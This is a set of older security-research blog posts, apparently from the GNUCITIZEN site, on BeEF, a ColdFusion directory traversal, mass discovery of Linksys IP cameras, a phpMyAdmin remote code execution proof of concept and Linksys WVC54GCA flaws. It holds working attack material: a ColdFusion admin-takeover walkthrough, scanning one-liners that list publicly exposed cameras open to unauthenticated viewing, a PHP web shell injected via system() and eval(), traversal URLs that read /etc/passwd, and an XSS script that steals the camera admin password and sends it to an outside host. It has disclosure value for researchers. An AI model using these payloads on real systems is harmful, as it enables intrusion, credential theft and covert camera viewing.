After having met Wade Alcorn (the initial author and project lead of BeEF), Christian mentioned his interest in helping out on the project where he could, which eventually led to Wade accepting his offer. The discussion was held over a couple of bottles of wine, so perhaps Wade’s regretting the decision now!

Christian’s role within the BeEF project, if it were to be defined, is odd-jobs-go-to-boy, command-module implementer, Ext-JS-fighter and twitter maintainer. When Christian is not working on BeEF, he’s doing his best to represent the Perth OWASP Chapter, or laying down crunchy beats on the drum-kit.

What follows are Chritian’s words on the BeEF project.

Sorry vegetarians, but BeEF is back. That’s right, the Browser Exploitation Framework is back, and it has now been rewritten from the ground up in Ruby. For those unfortunate people who haven’t had a chance to explore the older, PHP version of BeEF you’re only missing out on one of the greatest, most extensible XSS-payload management and exploitation frameworks out there, and the Ruby re-write is no different.

The Browser Exploitation Framework (BeEF) is a powerful, professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target.

One of the newer modules implemented in BeEF utilises the insecure handling of URL schemes in Apple’s iOS to trick Skype into starting an outbound call. This vulnerability was first written about by Nitesh Dhanjani and highlights that with the growing popularity of these devices these sorts of issues may lead to losses of information or other negative impacting events. The module itself is as simple as:

beef.execute(function() {
   document.body.innerHTML = "<iframe src=skype:<%= @tel_num
%>?call></iframe>";

   beef.net.sendback("<%= @command_url %>", <%= @command_id %>,
"result=IFrame Created!");
});

which, once added to a particular hooked browsers command queue will simply execute upon next poll, and if they automatically authenticate to the Skype application, will initiate a call. Due to iOS’ multi-tasking the Skype app does pop up to the top, so the end user is aware that the activity is occurring, but they’re not prompted to “confirm” the action. You can see this module demonstrated bellow:

The current release is 0.4.2.1-alpha, but by release 0.5 (the Sirloin Release) we’re expecting to have at least all of the PHP BeEF functionality provided plus much more, including:

1. jQuery included as part of the hooking process
2. Metasploit integration
3. Evercookie’s for persistence even after a hooked browser has been closed
4. full event logging, not just keystroke logging, to include window activation/deactivation, mouse clicks, etc
5. arbitrary HTTP requester
6. proxying
7. persistence modules (subtle popups or 100%x100% iframes)
8. detecting of social networking authentication status (as per this)

You can find out more about beef over at http://beef.googlecode.com or by following the @beefproject.

BeEF – Get it into ya!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The FAQ

Finally, by producing this FAQ I will attempt to explain why (at least on certain setups) this vulnerability should have been granted a CRITICAL rating by Adobe, rather than Important. As we’ll see bellow, it is possible to fully compromise the underlying OS of a vulnerable ColdFusion server by exploiting this directory traversal vulnerability.

How does the vulnerability work?

The vulnerability is a variation of a classic directory traversal vulnerability, also referred to as arbitrary file retrieval. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By moving up a few directory levels, the attacker is able to obtain the contents of files outside the application server’s webroot via special strings such as ../. More information can be found on the OWASP website.

Is authentication required to exploit this vulnerability?

NO. The attacker doesn’t require knowledge of any passwords in order to exploit the directory traversal bug.

What’s the goal of the attacker when exploiting this vulnerability?

Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of neo-security.xml and password.properties. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how password.properties has been setup, the ColdFusion admin password will be hashed or stored in clear-text (encrypted=false).

What’s the worst that could happen once this vulnerability has been exploited successfully?

As we’ll see at the end of this post, once the attacker has gained access to the CF admin console – e.g.: by cracking the admin password – it might be possible to fully compromise the underlying OS.

How can the vulnerability be resolved?

You can either apply Adobe’s patch or restrict access to the following directories and file from trusted IP addresses only: /CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm

What are the mitigating factors?

This vulnerability cannot be exploited on ColdFusion 9.X when default settings are used, unless of course you figure out a way to get around the directory traversal signatures used by the filtering routines. Additionally, the ColdFusion administrator login console must be available to the attacker. It is however quite common to find CF admin consoles directly available on the Internet.

If a long and sufficiently random admin password is used, cracking the SHA1 hash could prove to be difficult. This is applicable to CF MX7, 8 and 9 (see UPDATE notes). Version 6 doesn’t hash the password, but instead encrypts it using a proprietary algorithm.

What versions of ColdFusion are affected?

According to the Adobe bulletin the affected versions are ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.

Can you provide the actual exploit?

No. ProCheckUp will provide the exploit details at a later date. Although Richard Brain privately shared POC URLs with me, I will not make them available. Exploit details were only provided to me as a trusted security analyst for purpose of assessing the impact of the vulnerability and help me write this FAQ in the hope that it will benefit the community.

UPDATE: the exploit details were published by an anonymous researcher on 14/08/2010, probably worked out by reverse-engineering Adobe’s patches. ProCheckUp has also released the exploit details as of 17/08/2010.

Can you describe a real attack scenario?

The following a real attack scenario against ColdFusion 8 on a Windows server:

1. Attacker confirms ColdFusion admin console is Internet facing. E.g. http://target-domain.foo/CFIDE/administrator/index.cfm
2. Attacker exploits directory traversal vulnerability and obtains the contents of C:\ColdFusion8\lib\password.properties, which contains the ColdFusion admin password
   
3. If the admin password was stored encrypted (actually CF8 hashes the admin password using the SHA1 algorithm, similar to CF MX7), the attacker then attempts to crack it via an offline password cracking attack or rainbow table lookup. Note that the default setting in ColdFusion 8 is encrypted=true as per password.properties file. Otherwise, if the password is stored unencrypted (encrypted=false), there would be no need for password cracking.
4. UPDATE: as suggested by Niels Teusink, an attacker could login as the CF administrator without needing to crack the SHA1 hash. I verified his observation and can confirm it works well. You can follow these steps (tested on Firefox 3.6.8) to login using the SHA1 hash. i.e.: no need to crack the password hash:
   1. Configure your favorite MITM proxy – e.g. Burp – to capture traffic between your browser and target CF admin console
   2. Enter hash in password field of login form (usually located on /CFIDE/administrator/enter.cfm)
   3. Type the following on your browser’s address bar and press enter (make sure JavaScript is enabled on your browser): javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value)
   4. Record value. e.g. AFA9C9D917916DE6CE05C1BFEC0470E07A246CB0
   5. Press browser’s Back button
   6. Press Login on the login form (trapping/intercept mode should be enabled on your MITM proxy at this point)
   7. Trap the login request and replace the value of the cfadminPassword parameter with the value recorded above
   8. Forward request
5. At this point, the attacker would be able to login as a CF admin and upload a malicious CFM script that would allow him to run remote commands (SYSTEM privileges by default). Uploading files to a CF server via the administrator console is a bit counter-intuitive. The attacker would basically add a scheduled task that would download cfexec.cfm to the server’s webroot
   
6. At this point, the attacker has gained full control of the underlying Windows OS as the CF service runs with SYSTEM privileges by default
   

If the CF admin password is hashed and the attacker is unable to crack it, he could always try to obtain the database connection credentials (C:\ColdFusion8\lib\neo-datasource.xml) which can be easily decrypted and then directly authenticate to the backend DB server. This however wouldn’t normally be possible on a firewalled environment where the back-end DB server is not directly exposed to the Internet. Network access controls are your friends!

Post Updates

• 16/09/2010 – new path added as part of blacklisting solution
• 16/09/2010 – added trick to login without cracking the CF admin password hash
• 16/09/2010 – mentioned recently published exploit code for the CF traversal vulnerability
• 18/09/2010 – fixed typos and mentioned release of exploit details by ProCheckUp

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

HITB aims to congregate members of the security community from all circles. From academics, and well known infosec personalities to loner-type independent researchers, and hobbyists just to name a few. I’ve personally attended past editions in Kuala Lumpur and Dubai and loved that the attendees and speakers came from a wide variety of backgrounds. If you don’t believe me, check out the pix of past conferences and you’ll find sec nerds and corporate professionals all partying in unison. Indeed, the HITB conferences are not only educational, but among the most fun sec events I’ve had the chance to attend.

Registration is still open, so you are still on time to take advantage of a great speaker lineup and one of the _de facto_ party capitals of Europe. The conference agenda can be found here. I’m really looking forward to Niels Teusink’s presentation on hacking Logitech wireless presenters and the release of detailed examples of JIT-spray techniques against IE8, FF3.6 by Alexey Sintsov (originally discussed by Dion Blazakis).

One more thing, almost forgot: there will be a bring-your-own-laptop web hacking challenge at HITB EU.

See you at HITB Amsterdam next month!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we’ll eventually come across the type of device we’re interested in.

The second method, which would be much faster in finding our target devices, would be to use a search engine and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by GHDB is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.

The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the hidden web), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:

• linksys-cam.com
• mylinksyscamera.com
• mylinksyshome.com
• mylinksyscam.com
• mylinksysview.com
• linksysremotecam.com
• linksysremoteview.com
• linksyshomemonitor.com

Camera discovery process through subdomain bruteforcing

We first save the aforementioned domains in a file, doms in this case. Then we use dnsmap to bruteforce subdomains for each of the domains included in doms.

Using dnsmap’s built-in wordlist:

$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;

Using a user-supplied wordlist, wordlist_TLAs.txt in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:

$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;

Note: dnsmap’s -i option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the DDNS service provider, and would therefore be regarded as false positives in this case (we’re only interested in IP cameras setup by their respective owners after all). For more info on how to use dnsmap, checkout the README file.

We then parse the IP addresses of the subdomains discovered by dnsmap:

$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt

Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:

$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`

This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own amap response signature, and then scan the open ports with amap.

Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to appdefs.resp, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:

http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC

Please note that the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models. So I'm not sure if it will work against other models. You've been warned!

Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results.

$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`

We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:

$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
[snip]

At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.

Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:

$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
[snip]

In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (admin/admin) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

New Features

Anyways, the following are some of the new features included:

• IPv6 support
• Makefile included
• delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth
• ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives
• changes made to make dnsmap compatible with OpenDNS
• disclosure of internal IP addresses (RFC 1918) are reported
• updated built-in wordlist
• included a standalone three-letter acronym (TLA) subdomains wordlist
• domains susceptible to same site scripting are reported
• completion time is now displayed to the user
• mechanism to attempt to bruteforce wildcard-enabled domains
• unique filename containing timestamp is now created when no specific output filename is supplied by user
• various minor bugs fixed

For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It’s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc … Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.

Dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.

The major drawback is lack of multi-threading support, which I’m hoping will be included in the next public release. Life is busy these days, but I’ll try to spend some time on this project when time allows and inspiration is available!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is NOT affected apparently).

These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.

Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.

Details can be found on the attached PDF document.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

I’ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London. pdp has also been busy presenting at AusCERT2009. In his Weaponry 2.0, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his Jeriko pentesting environment (NOT framework!).

My CONFidence presentation was on PCI DSS, and credit card theft from a pentester’s perspective. I attempted to explain why it’s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.

On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about cloning (activated) gift cards without physically swiping the magnetic stripes. Trust me when I say that there is a lot of truth on Drago’s tweet regarding this research! My EUSecWest slides have just been recently published. More details will soon be available on a white paper which will be available on Corsaire Research website.

Thanks

I’d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and Dragos Ruiu from EUSecWest (plus their respective crews of course).

Also, special thanks to Corsaire who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn’t for Corsaire, this research wouldn’t have been resumed.

Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.

After reading the public advisory and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from advisory to working attack code.

I’m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don’t be evil, it’s not worth it.

Demo

$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh 
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentestergmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -> media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
[partial output removed for brevity reasons]

Contents of /config/config.inc.php after our evil code has been successfully injected (injected code shown in bold):

<?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal ÄŒihaÅ™ <michal@cihar.com>
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo
'<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Thanks

I’d like to thank Greg Ose for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to str0ke for testing this PoC script and providing such useful feedback!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Mounting the filesystem on your workstation

There are many ways to mount the camera’s filesystem using the firmware binary. In this post, we’ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.

If you were to only use the firmware binary, things could be a bit difficult, as you don’t know the format of the binary at all. However, having the GPL firmware helps a lot as we’ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn’t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and has been available ever since (the file to download is wvc54gca_v1.00R24.tgz).

Thanks to Lex Landa‘s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the ./scripts/wvc54gc_usa_english/combine.cfg file which is included with the GPL firmware:

size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=kernel
f3_start=00020000
f4_name=filesystem
f4_start=000E0000
f5_name=PID
f5_start=003FFFB2

I simply focused on the kernel and filesystem parameters. The previous settings show that then kernel starts at 0x20000 (131072 bytes / 128 KB), and the filesystem starts at 0xE0000 (917504 bytes / 896 KB). In order to start dd reading at 0xE0000, we need to keep 7 chunks of 131072 bytes. i.e.:7*131072=917504 bytes=0xE0000 (the position we want)

$ dd if=DYFF08-402-1024.bin bs=131072 of=fs.img skip=7
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s

We then verify that our image file is a valid squashfs filesystem:

$ file fs.img 
fs.img: Squashfs filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007

A finally mount it on our hardrive:

$ sudo mkdir /mnt/test
$ sudo mount -t squashfs fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.

Disclosure of Credentials in Client-side Source Code

As a consumer of embedded products, I find highly frustrating to see how many devices’ web interfaces return passwords back to the browser within HTML source code. I’ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.

Visiting the change admin password page:

/adm/file.cgi?next_file=pass_wd.htm

Causes the current admin password to be returned (just view the source code with your browser):

<input type="password" size="8" maxlength="64" name="admpw" value="C4mP4ssw0rd" onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">

Visiting the "Wireless Security Page":

/adm/file.cgi?next_file=Wsecurity.htm

Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:

<input type="text" name="psk" size="24" maxlength="63" value="mywirelesskey">

Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).

Now, I know there are people out there who might find these types of issues not worth fixing. The following is the thinking behind their reasoning.

In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses basic authentication which transmits credentials in the clear (base64 encoding) anyway.

In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.

So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.

Several XSS bugs

Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.

Boring PoCs:

/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E

/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e

XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.

As you can see in the first two XSS vulns, we use img tags, rather then script tags, due to closing script tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.

Admin Password theft XSS PoC

The following is the PoC exploit which steals the admin user's password.

// evil.js : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) { 
			// dirty credentials-scraping code
			var bits=req.responseText.split(/\"/);	
			var gems="";
			for (i=0;i<bits.length;++i) { 
                                if(bits[i]=="adm" && bits[i+1]==" value=") {      
                               		gems+="login="; 
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {      
                                       	gems+='&password='; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	} 
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);

http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/evil.js%3e%3c/script%3e

If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:

Attack Requirements

In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to help users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use black hat SEO and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!

Testing Info

All Disclosure of Credentials and XSS vulnerabilities successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Unlike the previous two vulnerabilities I released, the vulnerabilities I’m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else’s camera.

Two directory traversal vulnerabilities

Today, instead of releasing just one vulnerability I’ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I’m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!

Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: /adm/file.cgi. Please note that these vulnerabilities are different to CVE-2004-2507/BID 10476 which affected /main.cgi instead.

1st directory traversal hole

It seems that the next_file parameter is not filtered enough when submitted to /adm/file.cgi, so that either of the following requests will return the content of any file whose location is known (/etc/passwd in this case):

/adm/file.cgi?next_file=%2fetc%2fpasswd

/adm/file.cgi?next_file=%2fetc/passwd

/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd

2nd directory traversal hole

In the case of the second directory traversal hole, the vulnerable parameter (this_file) is not filtered at all whatsoever. So hex-encoding special symbols is not required:

/adm/file.cgi?todo=pwnage&this_file=/etc/passwd

The following is the content of the Linux passwd file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening bin/busybox with any of the vulnerabilities previously discussed. I’m curious to know if the passwd file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:

root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh

Notice that when exploiting the first vulnerability, we need to convert forward slashes to %2f which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the next_file parameter. In the third example, we also partially hex-encode ../ sequences in order to avoid being blocked by the script which results in a forbidden error.

Needless to say, if the root password is not too strong you should be able to crack it using john or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I’m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.

Unfortunately, as I mentioned in the first post of these series, the WVC54GCA camera comes with a telnet daemon included, but it’s off by default. I haven’t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by modifying the bin firmware image and uploading it again.

What can we do with these vulnerabilities?

Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:

• /etc/passwd : traditional-DES-format password file with no salt
• /usr/local/www/img/.htpasswd : HTTP credentials stored in cleartext
• /usr/local/www/adm/.htpasswd : contains same data as previous file
• /etc/system.conf : all camera settings stored in cleartext including admin password, wifi encryption key, etc …
• /usr/local/bin/thttpd.conf : web server config file confirming the daemon runs as root, which is the only system account present anyway
• /etc/init.d/rcS : here we see the line that starts the telnet daemon (/usr/sbin/telnetd) commented out
• /etc/def_sys.conf : camera’s default settings
• /etc/system.conf : camera’s current settings
• /var/nc.log : network connections logs
• /etc/group
• /etc/inittab
• /proc/cpuinfo : processor details
• /proc/meminfo
• /proc/version : OS details
• /proc/uptime

